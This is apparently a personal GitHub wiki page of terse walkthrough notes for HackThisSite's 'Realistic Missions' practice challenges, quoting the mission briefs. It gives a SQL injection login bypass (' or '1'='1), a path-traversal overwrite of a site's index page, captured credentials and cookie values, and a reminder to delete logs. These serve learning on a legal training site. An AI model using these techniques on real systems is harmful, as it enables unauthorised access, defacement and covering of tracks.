Hackthissite ‐ Realistic Missions - taylorjohn/hacking GitHub Wiki
- Mission 1
From: HeavyMetalRyan
Message: Hey man, I need a big favour from you. Remember that website I showed you once before? Uncle Arnold's Band Review Page?
Well, a long time ago I made a $500 bet with a friend that my band would be at the top of the list by the end of the year. Well, as you already know, two of my band members have died in a horrendous car accident... but this ass hole still insists that the bet is on!
I know you're good with computers and stuff, so I was wondering, is there any way for you to hack this website and make my band on the top of the list? My band is Raging Inferno. Thanks a lot, man!
view source
- Mission 2
From: DestroyFascism
Message: I have been informed that you have quite admirable hacking skills. Well, this racist hate group is using their website to organize a mass gathering of ignorant racist bastards. We cannot allow such bigoted aggression to happen. If you can gain access to their administrator page and post messages to their main page, we would be eternally grateful.
view source
<a href="/missions/realistic/2/update.php"><font color="#000000">update</font></a>
https://www.hackthissite.org/missions/realistic/2/update.php
user and password login present here
try ' should give sql error if it does then you can do infection to bypass
' or '1'='1
user: ' or '1'='1
password:' or '1'='1
enter to bypass them
https://www.hackthissite.org/missions/realistic/3/oldindex.html
view and copy source
https://www.hackthissite.org/missions/realistic/3/submitpoems.php
as the title of the poem
../index.html
paste the source-code as poem
sign in using you friends credentials
user: [email protected] password: Ilovemywork
and see the bosses name is m-crap (owner)
strUsername=m-crap%40crappysoft.com;
strPassword=94a35a3b7befff5eb2a8415af04aa16c; intID=1;
cookies
he is paid but now delete the logs